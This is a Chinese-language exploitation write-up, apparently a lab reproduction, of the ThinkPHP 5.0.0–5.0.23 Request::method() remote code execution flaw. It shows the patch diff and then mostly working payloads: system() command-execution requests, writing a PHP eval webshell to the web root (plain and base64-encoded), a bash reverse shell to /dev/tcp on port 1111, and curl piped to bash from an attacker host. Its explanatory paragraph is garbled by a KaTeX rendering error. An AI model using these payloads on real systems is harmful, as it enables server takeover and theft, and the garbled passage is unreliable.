ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
调用KaTeX parse error: Expected '}', got 'EOF' at end of input: this->{ this->method}( P O S T ) ; 语 句 , 此 时 假 设 我 们 控 制 了 _POST);语句,此时假设我们控制了 POST);语句,此时假设我们控制了method的值,也就意味着可以调用Request类的任意方法,而当调用构造方法__construct()时,就可以覆盖Request类的任意成员变量,可以覆盖 t h i s − > m e t h o d , 直 接 指 定 了 c h e c k ( ) 方 法 中 的 this->method,直接指定了check()方法中的 this−>method,直接指定了check()方法中的method值。
ThinkPHP 5.0.0~5.0.23
http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&get[]=whoami
http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
先查看当前目录
http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['root009']); ?> >>/var/www/public/shell.php
YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3Jvb3QwMDknXSk7Pz5iYmI=
base编码绕过,写webshell,成功写入
http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3Jvb3QwMDknXSk7Pz5iYmI= | base64 -d >>/var/www/public/shell.php
本机192.168.1.4:80开启http服务,同时目录下建立shell.sh文件
bash -i >& /dev/tcp/192.168.1.4/1111 0>&1
192.168.1.4主机监听1111端口
执行payload,反弹shell成功
http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.1.4/shell.sh | bash